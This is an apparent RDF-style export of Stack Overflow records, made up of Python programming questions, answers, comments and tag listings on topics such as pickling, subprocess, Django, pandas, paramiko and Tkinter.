has body: I am trying to carry out the following steps: create an object foo from class A add a function bar to object foo at runtime pickle object foo (which now contains the function bar) load object foo with pickle and execute the function foo.bar Until Step 3, it all goes fine. Step 4 fails. Here is the code I was using: create.py import pickle class A(): pass foo = A() def bar(): print('hello') foo.bar = bar.__get__(foo) with open('test.pkl', 'wb') as f: pickle.dump(foo, f) running foo.bar tells me, that bar is now a bound method of the A object: foo.bar bound method bar of &lt;main.A object at 0x000002014B8250F0> use.py import pickle f = open('test.pkl', 'rb') foo = pickle.load(f) foo.bar() Execution use.py leads to the following error message: Any ideas, what would be the best way to proceed here? My goal in simple terms is to have some sort of storable object that can be loaded from the outside and allows access to the foo and also can exectue bar. Hence, bar does not necessarily have to be part of the foo object, I just thought it would be a neat way. Thanks for help!
type: Question
has comment: http://stackoverflow.com/comment/81567303
has comment: http://stackoverflow.com/comment/81567882
tagged with: python
type: UnansweredQuestion
favorite count: 0
has comment: http://stackoverflow.com/comment/81568486
has title: How to add a bound method to an object that survives pickling in python?
has comment: http://stackoverflow.com/comment/81568415

http://stackoverflow.com/q/47334653
tagged with: subprocess
has title: Python: call and run a process with input files
answer count: 1
has comment: http://stackoverflow.com/comment/81621067
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47335079
type: UnansweredQuestion
has body: I am looking for a solution to run a process with input files in python: in my script I call a process using sub-process: import subprocess as sp sp.call(['C:\EnergyPlusV8-8-0\EP-Launch.exe']) So the program I would like to launch is open, but then I need to choose 2 input files and then press the button "Simulate.." to execute the program(Energy Plus). ***comment: I mean, after those code lines, the interface of the program(Energy Plus) is open, then I choose in that window which input files the program has to use. After that in the same interface of the program I start the simulation. I want to do these steps just in the python code, without interacte with the EnergyPlus interface. I hope I clearify the ambiguities I would like to do the last steps automatically(knowing the input files location) in the python code. How can I do this?
has comment: http://stackoverflow.com/comment/107832833
tagged with: python
tagged with: launch
score: 0

http://stackoverflow.com/a/47370887
has comment: http://stackoverflow.com/comment/82410415
answers question: http://stackoverflow.com/q/47369811
score: 0
has comment: http://stackoverflow.com/comment/81957208
type: Answer
has comment: http://stackoverflow.com/comment/81957311
has body: Is this the first time you are creating migrations for your application? If so, you need to specify the app name to make the migrations: python manage.py makemigrations my-app
has comment: http://stackoverflow.com/comment/81984861

http://stackoverflow.com/a/47374819
score: 0
has body: Pass a function to find_all that checks if text, tag, and parent tag matches. def find_siblings_for_element_with_text(html_soup, text, tag='p', parent_tag='div'): result_set = html_soup.find_all( lambda el: ( el.text == text and el.name.lower() == tag and el.parent.name == parent_tag) ) return [ list(el.previous_siblings) + list(el.next_siblings) for el in result_set ] find_siblings_for_element_with_text(html_soup, 'text')
type: Answer
answers question: http://stackoverflow.com/q/47374248
has comment: http://stackoverflow.com/comment/81702115

http://stackoverflow.com/a/47233727
score: 0
has body: You can also use Python's list comprehension if you want to be Pythonic: def even_numbers(n): return [i for i in range(0,n,2)]
answers question: http://stackoverflow.com/q/47233663
type: Answer
has comment: http://stackoverflow.com/comment/82082254

http://stackoverflow.com/comment/81413454
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47231307
score: 0
has text: I assume `plotly` requires json-serializable objects. Try `data.to_dict()`

http://stackoverflow.com/q/47280146
downvote count: 1
favorite count: 0
type: Question
has body: I have a dataframe that contains a column containing &lt;canvas&gt; something &lt;/canvas&gt; element. In a flask application, I passed this data to a template using df.to_html(), but it never is working and always shows the &lt;canvas&gt; within displayed html table.
answer count: 2
has title: passing html element using to_html in flask
tagged with: python
accepted answer: http://stackoverflow.com/a/47280939
tagged with: flask
has answer: http://stackoverflow.com/a/47280531
has answer: http://stackoverflow.com/a/47280939
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/47280531
upvote count: 1

http://stackoverflow.com/q/47253524
tagged with: python
has comment: http://stackoverflow.com/comment/81457414
tagged with: dictionary
answer count: 4
tagged with: string-matching
has answer: http://stackoverflow.com/a/47253577
downvote count: 0
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81457413
has answer: http://stackoverflow.com/a/47253660
has comment: http://stackoverflow.com/comment/81457717
favorite count: 0
type: Question
has body: Suppose I have a list of dictionary [{'TELEPHONE': '111', 'STATUS': 'BUSY'}, {'TELEPHONE': '122', 'STATUS': 'BUSY'}, {'TELEPHONE': '133', 'STATUS': 'FREE'}] and I have a sentence "PHONE is STATUS". I want to replace the keyword from the sentence to the values in the dictionary. So the output should be 111 is BUSY 122 is BUSY 133 is FREE Since STATUS matches the key in the dictionary, so I can use re to replace it, pattern = re.compile(r'\b(' + '|'.join(val.keys()) + r')\b') result = pattern.sub(lambda x: val[x.group()], text) but the pattern PHONE is different to the key TELEPHONE in the dictionary, is there a similar way to do such replacement? I don't want to change the keys in the dictionary. Can I do something like "if I meet "PHONE", then I retrieve using the key "TELEPHONE" in the dict?"
has comment: http://stackoverflow.com/comment/81457491
has comment: http://stackoverflow.com/comment/81457591
type: UnansweredQuestion
has title: Replace a string to a value in dict using Python
has answer: http://stackoverflow.com/a/47253632
has answer: http://stackoverflow.com/a/47253681

http://stackoverflow.com/q/47271232
accepted answer: http://stackoverflow.com/a/47271325
has title: Use of try/except for input validation?
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/81493501
tagged with: validation
tagged with: loops
favorite count: 0
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/12382696
has answer: http://stackoverflow.com/a/47271378
possible better answer: http://stackoverflow.com/a/47271378
tagged with: python
has body: I am trying to validate user input to check that, when they enter their name, it is more than 2 characters and is alphabetic. I am attempting to do this using try/except as I have been told that it is the best loop for user validation. Unfortunately if the user enters characters that are not alphabetic, nothing happens, and the program proceeds like normal. I also do not know how to check if the input is longer than 2 characters in the try/except loop as it is very new to me. Any help is much appreciated. list = [] def users_name(): while True: try: name = str(input("Please enter your first name: ")) list.append(name) break except TypeError: print("Letters only please.") continue except EOFError: print("Please input something....") continue users_name()
type: Question
has comment: http://stackoverflow.com/comment/81493339
answer count: 2
has answer: http://stackoverflow.com/a/47271325
downvote count: 0

data-structures
tags question: http://stackoverflow.com/q/47295091
tag name: data-structures
tags question: http://stackoverflow.com/q/47231579
tags question: http://stackoverflow.com/q/47296763
tags question: http://stackoverflow.com/q/47336839
tags question: http://stackoverflow.com/q/47338203
tags question: http://stackoverflow.com/q/47251880
tags question: http://stackoverflow.com/q/47319959
tags question: http://stackoverflow.com/q/47256647
type: Tag
tags question: http://stackoverflow.com/q/47229065
tags question: http://stackoverflow.com/q/47374607

http://stackoverflow.com/a/47354050
score: 0
answers question: http://stackoverflow.com/q/47342271
has body: After further research, I have found a solution that reads in the contents of each of my files, and stores both values in the file as an entry in data using this thread: Python: How to read a directory of texts into a list My edited code: with open("list.txt") as f: file = f.readlines() f.close() del file[0] del file[0] file = [w.replace('\n','') for w in file] length_file = len(file) data = [] for i in range(0, length_file): with open(file[i]) as fa: data.append(fa.read()) fa.close() data = [t.replace('\n','') for t in data] #print data[0], data[1] ****EDIT**** I now have the code functioning as needed. For others who might need to make a list of lists: This code reads in the file names of a directory stored in list.txt. It loops through, opens each file by filename and saves the two values inside of the file to the variable data. data contains a list of lists. with open("list.txt") as f: file = f.readlines() f.close() del file[0] #in my case removes the first two files in list.txt because they contain irrelevant info del file[0] file = [w.replace('\n','') for w in file] length_file = len(file) data = [] for i in range(0, length_file): with open(file[i]) as fa: data.append(fa.read().split('\n')) fa.close() print data[0] print data For example in this code: data[0] = [value1 of file1 from list.txt, value2 of file1 from list.txt] and data = [[value1 of file 1 from list.txt , value2 of file1 from list.txt], [value1 of file2 from list.txt, value2 of file 2 from list.txt], ...etc.
type: Answer

http://stackoverflow.com/q/47261578
has comment: http://stackoverflow.com/comment/81476896
type: Question
has comment: http://stackoverflow.com/comment/81475664
score: 0
answer count: 0
linked to: http://stackoverflow.com/q/8814802
type: UnansweredQuestion
has title: winerror 10054 google calendar
has comment: http://stackoverflow.com/comment/81520269
has body: I have a script that adds events to my calendar that worked fine until this morning. I haven't made any changes, but now it doesn't work. This is my code: from __future__ import print_function import httplib2 import os import sys from apiclient import discovery from oauth2client import client from oauth2client import tools from oauth2client.file import Storage from subprocess import Popen import datetime # If modifying these scopes, delete your previously saved credentials # at ~/.credentials/calendar-python-quickstart.json SCOPES = 'https://www.googleapis.com/auth/calendar.readonly' CLIENT_SECRET_FILE = 'client_secret.json' APPLICATION_NAME = 'Google Calendar API Python Quickstart' def get_credentials(): """Gets valid user credentials from storage. If nothing has been stored, or if the stored credentials are invalid, the OAuth2 flow is completed to obtain the new credentials. Returns: Credentials, the obtained credential. """ home_dir = os.path.expanduser('~') credential_dir = os.path.join(home_dir, '.credentials') if not os.path.exists(credential_dir): os.makedirs(credential_dir) credential_path = os.path.join(credential_dir, 'calendar-python-quickstart.json') store = Storage(credential_path) credentials = store.get() if not credentials or credentials.invalid: flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES) flow.user_agent = APPLICATION_NAME credentials = tools.run(flow, store) print('Storing credentials to ' + credential_path) return credentials def main(): """Shows basic usage of the Google Calendar API. Creates a Google Calendar API service object and outputs a list of the next 10 events on the user's calendar. """ try: if(len(sys.argv) &lt; 2): print('No name was provided.') input() exit() credentials = get_credentials() http = credentials.authorize(httplib2.Http()) service = discovery.build('calendar', 'v3', http=http) event = { 'summary': 'Teststop ' + " ".join(sys.argv[1:]), 'start': { 'date': str(datetime.date.today() + datetime.timedelta…
has comment: http://stackoverflow.com/comment/81526682
tagged with: google-calendar-api
tagged with: python

http://stackoverflow.com/comment/81423496
comment on: http://stackoverflow.com/q/47236559
type: QuestionComment
has text: See the linked question for an explanation of what's happening in your code. It's basically the same problem as yours, except you're never even trying to copy your list (or create a new one).
type: Comment
score: 0

http://stackoverflow.com/comment/81502387
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47275046
type: Comment
has text: This only runs the class definition once even if I make multiple calls to Cloud's methods. I don't understand why? This IS the behavior I want, I just don't know what's going on under the hood. When is the class created?

http://stackoverflow.com/comment/81570175
type: Comment
type: AnswerComment
has text: Thanks for your suggestions, but how would I to add my_bytes as a file to my zip archive?
comment on: http://stackoverflow.com/a/47309831
score: 0

http://stackoverflow.com/comment/81502362
type: QuestionComment
score: 1
has text: Can you add the template of your view?
type: Comment
comment on: http://stackoverflow.com/q/47275502

http://stackoverflow.com/comment/81727047
has text: actually, I think you could fice this just by passing y[0] instead of y. Hit me up in chat if you want more help.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47370867
type: Comment

http://stackoverflow.com/a/47369413
score: 1
type: AcceptedAnswer
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47369339
downvote count: 0
type: Answer
has body: Creating empty lists in the with statement doesn't map them to the file. You still need to actually call filet.write. def make_employee(): num = input("Employee ID: ") name = input("Employee name: ") hours = input("Hours: ") pay = float(hours) * 20 return (num, name, hours, pay) with open('workers.txt', 'a') as filet: for i in range(10): # E.g., 10 employees num, name, hours, pay = make_employee() filet.write("{} {} {} {}\n".format(num, name, hours, pay))
answers question: http://stackoverflow.com/q/47369339

http://stackoverflow.com/comment/81492723
comment on: http://stackoverflow.com/q/47251562
has text: I edited the post to add some informations. Will I success to solve my problem by installing kivy in a OS in a VM ? If yes, which OS ?
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/88606926
type: Comment
type: QuestionComment
has text: It appears that this is a known bug in Django but they have yet to agree on a good solution to it: https://code.djangoproject.com/ticket/25068
score: 0
comment on: http://stackoverflow.com/q/47319836

text
tags question: http://stackoverflow.com/q/47321292
tags question: http://stackoverflow.com/q/47366873
tags question: http://stackoverflow.com/q/47285665
tags question: http://stackoverflow.com/q/47293290
tags question: http://stackoverflow.com/q/47240509
tags question: http://stackoverflow.com/q/47230593
tags question: http://stackoverflow.com/q/47271843
tags question: http://stackoverflow.com/q/47229880
type: Tag
tags question: http://stackoverflow.com/q/47339698
tag name: text
tags question: http://stackoverflow.com/q/47291973
tags question: http://stackoverflow.com/q/47254417
tags question: http://stackoverflow.com/q/47369580
tags question: http://stackoverflow.com/q/47223718
tags question: http://stackoverflow.com/q/47247770
tags question: http://stackoverflow.com/q/47327249

http://stackoverflow.com/a/47280761
answers question: http://stackoverflow.com/q/47279517
has body: You can get difference count using this code. Just pass your list to this function. import datetime def countDifference(date_list): final_count = [] for inner_dt in date_list: count = 0 new_list = [] for dt_elem in inner_dt: new_date = datetime.datetime.strptime(dt_elem, "%H:%M:%S") total_seconds = new_date.hour*60*60 + new_date.minute*60 + new_date.second new_list.append(total_seconds) new_list.sort() for first, second in zip(new_list, new_list[1:]): if second - first &gt;= 300: count+=1 final_count.append((inner_dt, count)) return final_count print countDifference([[],[],["17:03:22","17:08:54","17:50:33","17:55:20"],[]]) Output: [([], 0), ([], 0), (['17:03:22', '17:08:54', '17:50:33', '17:55:20'], 2), ([], 0)]
score: 0
type: Answer

http://stackoverflow.com/comment/81596412
type: QuestionComment
score: 1
has text: For ``root`` you perhaps want ``sudo -H python -m site --user-site``. That way you don't inherit the user environment.
comment on: http://stackoverflow.com/q/47322846
type: Comment

http://stackoverflow.com/comment/81688345
has text: Thank @Jean, I merged your tips with the regex that I was using and the `dialect.delimiter` that I already knew.
comment on: http://stackoverflow.com/a/47367802
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/81662213
comment on: http://stackoverflow.com/q/47352371
type: Comment
score: 3
type: QuestionComment
has text: Yes, `.stdin.write()` is a blocking call. Pipe buffer size is OS-dependent, and Python doesn't have any guarantees. No, the buffer size is not configurable -- this is why folks have traditionally used tools like `pv` or `bfr` to insert their own buffering in shell pipelines when needed.

http://stackoverflow.com/q/47289757
has title: Plotting lists in a Pandas dataframe
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47290002
tagged with: dataframe
tagged with: python
tagged with: plot
type: AnsweredQuestion
has body: Consider the following dataframe example: df = pd.DataFrame({'date':['12-01', '12-02', '12-03'],'list1': np.random.randint(0, 10, (3,5)).tolist(), 'list2': np.random.randint(0, 10, (3,5)).tolist()}, index=list('ABC')) I would like to plot the lists in the dataframe in such a way that I end up with 3 lines in my graph: A, B and C with for each one, 'list1' as x values and 'list2' as y values. I started off by trying to plot the columns directly but the following returns an error: In: df.iloc[0].plot(x='list1', y='list2') Out: TypeError: Empty 'DataFrame': no numeric data to plot I could iterate over the rows of the dataframe and append the lists to a new list to plot them, but I feel that this defeats the purpose of storing my data in a dataframe (I have additional columns with ancillary data) and I am sure that there is a better way to do this. I have about 20 entries in each dataframe (grouped from a larger dataframe) and the main purpose is to visually check if the values (output from an instrument) are in a certain range.
tagged with: list
answer count: 2
has answer: http://stackoverflow.com/a/47289961
downvote count: 0
accepted answer: http://stackoverflow.com/a/47289961
possible better answer: http://stackoverflow.com/a/47290002
tagged with: pandas
upvote count: 1
score: 1

http://stackoverflow.com/q/47230240
linked to: http://stackoverflow.com/q/34181078
has answer: http://stackoverflow.com/a/47265991
has title: Wait until paramiko exec_command is finished
tagged with: ssh
tagged with: python
tagged with: paramiko
score: 2
accepted answer: http://stackoverflow.com/a/47265991
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/118527557
answer count: 2
upvote count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/54348117
has body: I've got a python script I'm trying to install a rpm package on but when I send the command to install it doesn't wait for the command to finish before restarting the service. I've read a lot of forums about using recv_exit_status() but I don't think I'm using it right. This is what I have: #!/usr/bin/python import paramiko, os from getpass import getpass # Setting Variables Hosts = [ '192.168.1.1', '192.168.1.2'] #IPs changed for posting username = 'root' print 'Enter root password on remote computer:' password = getpass() port = 22 File = 'Nessus-6.11.2-es7.x86_64.rpm' for host in Hosts: print 'Finished copying files. Now executing on remote computer' #Setting up SSH session to run commands remote_client = paramiko.SSHClient() remote_client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) remote_client.connect(host, username=username, password=password) InstallNessus = 'rpm -U --percent %s'%File stdin, stdout, stderr = remote_client.exec_command(InstallNessus) stdout.channel.recv_exit_status() lines = stdout.readlines() for line in lines: print line stdin, stdout, stderr = remote_client.exec_command('systemctl restart nessusd.service') remote_client.close() I've tried using Fabric but I seem to be messing up my syntax somewhere.
favorite count: 0
has answer: http://stackoverflow.com/a/54348117
type: Question

http://stackoverflow.com/comment/81592212
type: Comment
score: 1
type: QuestionComment
has text: I don't know what you mean by "skipping line". Can you please clarify what your code is currently doing wrong?
comment on: http://stackoverflow.com/q/47320551

http://stackoverflow.com/comment/81619232
score: 0
type: QuestionComment
has text: you need to extract the displacement field output and add it yourself to the undeformed coordinate. ( `step.frame.fieldOutputs['U']` )
comment on: http://stackoverflow.com/q/47333525
type: Comment

http://stackoverflow.com/comment/81591333
comment on: http://stackoverflow.com/q/47320033
type: Comment
type: QuestionComment
score: 0
has text: Regarding your 4th pattern, you only have one capture group, and its contents are getting overwritten each time it matches, until it hits the end of the string.

http://stackoverflow.com/comment/82842073
comment on: http://stackoverflow.com/a/47365289
type: Comment
has text: Hi @arthurim does this help solving the issue after all? If so, you can [accept an answer](https://meta.stackexchange.com/a/5235/313506) to positively close the question.
score: 0
type: AnswerComment

http://stackoverflow.com/q/47236624
has answer: http://stackoverflow.com/a/47237831
type: UnansweredQuestion
answer count: 1
has body: I am trying to scrape a website using Scrappy tool for Python. I am able to scrape the data but I want to add an additional field to the output like a "Serial ID" : "3001", for each product it scrapes the Serial ID should increment by 1, like 3002, 3003, 3004............. def parse_dir_contents(self,response): cat = response.meta['cat'] serial_id = I item = [] content = {} content['serial_id'] = serial_id content['url'] = response.url content['category'] = cat brand = response.xpath('//div[@class="pageinfo__brdcrmb"]/text()').extract()[0].split('/') content['brand'] = brand[1].strip() I = I + 1 item.append(content) output = json.dumps(item, sort_keys=True, indent=4, separators=(',', ': ')) self.json_file.write(output) For the above Code I am getting an error like content['url'] = response.url NameError: name 'response' is not defined
tagged with: web-scraping
tagged with: python
score: 0
has comment: http://stackoverflow.com/comment/81423500
tagged with: scrapy
type: Question
has title: Want to add a field to a python scrapy output like a Serial number which increment by 1 for each product scraped

http://stackoverflow.com/comment/81626520
type: Comment
type: QuestionComment
has text: If an answer helped, please accept it.
comment on: http://stackoverflow.com/q/47336754
score: 0

http://stackoverflow.com/a/47357098
type: AcceptedAnswer
downvote count: 0
upvote count: 1
accepted answer of: http://stackoverflow.com/q/47357050
has comment: http://stackoverflow.com/comment/81668393
answers question: http://stackoverflow.com/q/47357050
type: Answer
has comment: http://stackoverflow.com/comment/81670566
has comment: http://stackoverflow.com/comment/81667068
has body: don't try remove items from lists while iterating, it doesn't work that well: Remove items from a list while iterating. Anyway, del row has no effect since you're just deleting the name, not the item of the list. I'm assuming that you want to remove rows if row["Something"] is an integer value. I would rebuild the list using a list comprehension filtering out when the data is digits only (regex can be avoided here by using isdigit()): [row for row in lst if not row["Something"].isdigit()] That doesn't take care of negative numbers, mind. For that you would need a regex-type check like re.match("-?\d+",row["Something"])
score: 1

http://stackoverflow.com/comment/81629994
comment on: http://stackoverflow.com/q/47338873
type: QuestionComment
type: Comment
has text: Where does `chance` come from? Your logic is hard to dissect.
score: 0

http://stackoverflow.com/comment/81577351
comment on: http://stackoverflow.com/a/47310366
type: Comment
score: 0
type: AnswerComment
has text: Now, you got it. What about padding then ? Pytorch implementation `mu1 = F.conv2d(img1, window, padding = window_size//2, groups = channel)` shows, I should use valid padding with half of window size, on other end. I can't see such thing in Tensorflow implementation or better to say Scipy implementation.

http://stackoverflow.com/comment/81501923
type: AnswerComment
comment on: http://stackoverflow.com/a/47275290
score: 0
has text: didn't include it before in the question, but `__init__.py` has always existed in the project folder. Also, the URL you linked states that relative imports are okay as of PEP8 (2013)
type: Comment

http://stackoverflow.com/comment/81712838
type: AnswerComment
comment on: http://stackoverflow.com/a/47373681
has text: Thanks for providing your solution. I think it is helpful, but I wanted to sample one box at a time (which I should have explained in the question..sorry for missing that) because after sampling a certain number of patches I want to check if the area of those patches has not exceeded certain value, say 10 % of the total area of the main global array. Also, thanks for giving a link to your another answer to a different, but related, question.
type: Comment
score: 0

http://stackoverflow.com/a/47225979
accepted answer of: http://stackoverflow.com/q/47225523
type: Answer
answers question: http://stackoverflow.com/q/47225523
has body: On Windows Try This: First way ( with ctypes and pathlib modules ) import ctypes.wintypes, pathlib CSIDL_PERSONAL = 5 SHGFP_TYPE_CURRENT = 0 buf = ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH) ctypes.windll.shell32.SHGetFolderPathW(None, CSIDL_PERSONAL, None, SHGFP_TYPE_CURRENT, buf) my_path = pathlib.Path(buf.value) print(my_path.drive) Another Way ( with win32 package ): import win32api print(win32api.GetWindowsDirectory()) Third Way ( with win32 package ): import win32com.client objShell = win32com.client.Dispatch("WScript.Shell") allUserDocs = objShell.ExpandEnvironmentStrings("%windir%") print(allUserDocs) Fourth Way ( with os Module ) : import os print(os.path.expandvars("%SystemRoot%")) Fifth Way ( with wmi Module ) : import wmi c = wmi.WMI() for os in c.Win32_OperatingSystem(): print(os.SystemDrive) ON Windows and LINUX: First Way ( with os and pathlib modules ) : import os, pathlib home = pathlib.Path(os.path.expanduser("~")) print(home.drive) Second Way ( with pathlib module ): import pathlib my_path = pathlib.Path(pathlib.Path.home()) print(my_path.drive) Good Luck ...
score: 5
upvote count: 5
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81424321
downvote count: 0

http://stackoverflow.com/q/47238708
tagged with: arrays
tagged with: diagonal
has answer: http://stackoverflow.com/a/47239540
type: AnsweredQuestion
has body: What is the best way to create a 2D list (or numpy array) in python, in which the diagonal is set to -1 and the remaining values are increasing from 0 by 1, for different values of n. For example, if n = 3 the array would look like: [[-1,0,1] [2,-1,3] [4,5,-1]] or for n = 4: [[-1,0,1,2] [3,-1,4,5] [6,7,-1,8] [9,10,11,-1]] etc. I know I can create an array with zeros and with the diagonal set to -1 with: a = numpy.zeros((n,n)) numpy.fill_diagonal(a,-1) And so if n = 3 this would give: [[-1,0,0] [0,-1,0] [0,0,-1]] But how would I then set the 0's to be increasing numbers, as shown in the example above? Would I need to iterate through and set the values through a loop? Or is there a better way to approach this? Thanks in advance.
downvote count: 0
upvote count: 1
score: 1
tagged with: python
has title: Setting increasing values in a numpy array around a defined diagonal
has answer: http://stackoverflow.com/a/47238758
accepted answer: http://stackoverflow.com/a/47238758
possible better answer: http://stackoverflow.com/a/47239540
favorite count: 0
type: Question
tagged with: numpy
answer count: 2
tagged with: nested-lists

http://stackoverflow.com/comment/128106403
type: AnswerComment
has text: Didn't work for me. Where is the nbextensions template supposed to install? I get `No template sub-directory with name 'nbextensions' found`
type: Comment
comment on: http://stackoverflow.com/a/47263280
score: 0

http://stackoverflow.com/comment/81601903
type: QuestionComment
comment on: http://stackoverflow.com/q/47305473
has text: OK i think the culprit is the fact I'm trying to execute a numpy operation with a tensor, but the `K.eval()` does return an numpy array. in fact the code works perfectly if I feed the model with a tensor but it doesn't when I try the `predict()` on the same model
score: 0
type: Comment

http://stackoverflow.com/comment/128527108
comment on: http://stackoverflow.com/a/63176659
score: 0
has text: How would you adapt this to get the column name or index which the condition is true for?
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47370953
favorite count: 0
type: Question
has body: I have a simple model Article. The model is: class Article(models.Model): title = models.CharField() text = models.TextField() likes = models.IntegerField(default=0) user = models.ForeignKey(User) I have also login, and likes, every user has favorite articles. I make new model: class LikeArticle(models.Model): article = models.IntegerField() user = models.ForeignKey(User) In view we have def articleLike(request): if request.method == 'POST': article_id = request.POST['id'] article_like = LikeArticle( article=article_id, user=request.user ) article_like.save() And when we want to see all favorite articles def favorite(request): favorite_list = LikeArticle.objects.all() return render(request, 'article/favorite.html', {'articleList': favorite_list}) But now its return me id article and username, how I can filter and choose from Article.objects.all() Is my logic correct? Maybe I need to do everything differently?
has answer: http://stackoverflow.com/a/47371019
type: UnansweredQuestion
tagged with: django
tagged with: django-models
tagged with: python
has title: Django add a relation between the user and the selected articles
upvote count: 2
score: 2
answer count: 2
tagged with: django-views
has answer: http://stackoverflow.com/a/47371033
downvote count: 0
has comment: http://stackoverflow.com/comment/81694569

http://stackoverflow.com/comment/81621857
type: QuestionComment
comment on: http://stackoverflow.com/q/47335170
type: Comment
score: 0
has text: I just did not come across such a trivial idea :)

http://stackoverflow.com/comment/81750312
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47366832
has text: The memory of the python.exe goes from 100 up to 130 MB. I observed that sometimes I can even run up to 800 simulations, but then error again. I could almost fix the problem by taking out of the loop the load_fmu and using model.reset within the loop. But I got strange behavior here, too. (see above)

http://stackoverflow.com/comment/81611606
score: 0
type: Comment
type: QuestionComment
has text: Can you add some data sample?
comment on: http://stackoverflow.com/q/47330456

http://stackoverflow.com/comment/81674886
type: Comment
comment on: http://stackoverflow.com/q/47256835
score: 0
has text: If you have another problem, create a new question, SO : create a single post per question.
type: QuestionComment

http://stackoverflow.com/q/47229041
has comment: http://stackoverflow.com/comment/81408576
has comment: http://stackoverflow.com/comment/81408699
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81409288
accepted answer: http://stackoverflow.com/a/47229372
has title: Python gives me an error when trying to get anything other than first or last two elements from list
tagged with: python
type: AnsweredQuestion
has body: I'm trying to extract some info out of a .gtf file, which is basically like a type of database where items are tab delimited(or so i'm told). I've written the following simple code to break up each line of the file into a list so each item in the list is one of the "columns" (and also print out the comment lines, but ignore that) for line in file: if line.startswith('#'): print (line) line = line.rstrip('\n') field = line.split() Pretty simple code, and when I put in a print(field) it prints out many lines like this one with varying data ['1', 'havana', 'exon', '7962767', '7962875', '.', '+', '.', 'gene_id', '"ENSG00000116288";', 'gene_version', '"12";', 'transcript_id', '"ENST00000497113";', 'transcript_version', '"1";', 'exon_number', '"1";', 'gene_name', '"PARK7";', 'gene_source', '"ensembl_havana";', 'gene_biotype', '"protein_coding";', 'transcript_name', '"PARK7-210";', 'transcript_source', '"havana";', 'transcript_biotype', '"processed_transcript";', 'exon_id', '"ENSE00001935602";', 'exon_version', '"1";', 'transcript_support_level', '"3";'] I figure it looks like a list right. So I go to test it with print() print(field[0]) print(field[1]) print(field[-1]) print(field[-2]) and those give me this 1 havana "5"; transcript_support_level etc. So it looks like a list, and acts like a list, but the data I want is in the third column so I just change the code to field[2] and it gives me this print(field[2]) IndexError: list index out of range I tried putting in different numbers but it's all the same error, and I just really can't figure out why it would let me pull up the first two and last two items in the list, but nothing else? I've tried a lot of things but i'm really just stumped as to what to do here. I can't continue with my code unless I'm able to reference the third column/item in these lists.
score: 0
tagged with: list
has comment: http://stackoverflow.com/comment/81408601
answer count: 1
has answer: http://stackoverflow.com/a/47229372
has comment: http://stackoverflow.com/comment/81408556
type: Question

http://stackoverflow.com/comment/96670005
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47239367
has text: @alwaysaskingquestions yup!

http://stackoverflow.com/comment/81524157
has text: Nope, those also dont work. I also dont find those in the directory for PyQt5. Only QtCore and such. I installed pyqt5 with _sudo apt-get install pyqt5-dev pyqt5-dev-tools_
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47286839
type: QuestionComment

http://stackoverflow.com/q/47297790
upvote count: 3
has comment: http://stackoverflow.com/comment/81648955
tagged with: tkinter
answer count: 0
has comment: http://stackoverflow.com/comment/81635366
has title: Tkinter Buttons Not Right Size / X Error: Bad Alloc
downvote count: 0
favorite count: 0
has body: I am writing a Tkinter script, but I have reached an error. When I run my script, all my buttons are quite small and don't act correctly. For example, one of my buttons is supposed to open a file dialogue, but instead, it returns the error code: X Error of failed request: BadAlloc (insufficient resources for operation) Major opcode of failed request: 53 (X_CreatePixmap) Serial number of failed request: 4750 Current serial number in output stream: 4769 However, when I ran my code on a Windows machine instead of my Linux (Ubuntu) machine, it worked fine. Here is my code: import qrtools from Tkinter import * from tkFileDialog import * class Decode: def __init__(self,master): self.l = StringVar() self.master = master self.frame = Frame(self.master) self.browse = Button(master,text="Choose a File:", command = self.filenameget).pack() self.label = Label(master) self.label.pack() self.dcode = Button(master,text = "You Haven't Chosen A File Yet!") self.dcode.pack() self.dcodedata = Label(master) self.dcodedata.pack() self.quitbutt = Button(master, text = 'Back To Main Page',command = self.q).pack() def q(self): import subprocess subprocess.check_call(['python2.7','start.py']) quit() def filenameget(self): t = askopenfilename() print t self.label.config(text = t) self.dcode.config(text = 'Decode', command = self.get_decode) def get_decode(self): qr = qrtools.QR() qr.decode(str(self.label.cget("text"))) self.dcodedata.config(text=str(qr.data)) def main(): root = Tk() dc = Decode(root) root.title = "Qr Decoder By: Brian Ton" root.mainloop() if __name__ == '__main__': main() In addition, I tried to run a much simpler program, but to still no avail. Here is the code to the simple program: from Tkinter import * master = Tk() def print_test(): print 'Hello' button = Button(master, text = "Test Button", command = print_test) button.pack() mainloop() My main questions are: Is this an Ubuntu Issue? If so, is there a workaround? If you want to look at some screenshots, they are also a…
type: Question
has comment: http://stackoverflow.com/comment/81562183
score: 3
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/81565898
comment on: http://stackoverflow.com/a/47300001
score: 0
type: AnswerComment
has text: @Amina glad to be of help :) I this answer was useful for you, please don't forget to [accept](https://meta.stackexchange.com/questions/5234/how-does-accepting-an-answer-work) it, simply click on the check mark to its left
type: Comment

http://stackoverflow.com/comment/81565768
comment on: http://stackoverflow.com/a/47307613
type: AnswerComment
has text: Any other ways? because I need it to be available on any computer since the idea of the project is protecting the device on any pc
score: 0
type: Comment

http://stackoverflow.com/q/47366255
answer count: 1
downvote count: 0
upvote count: 1
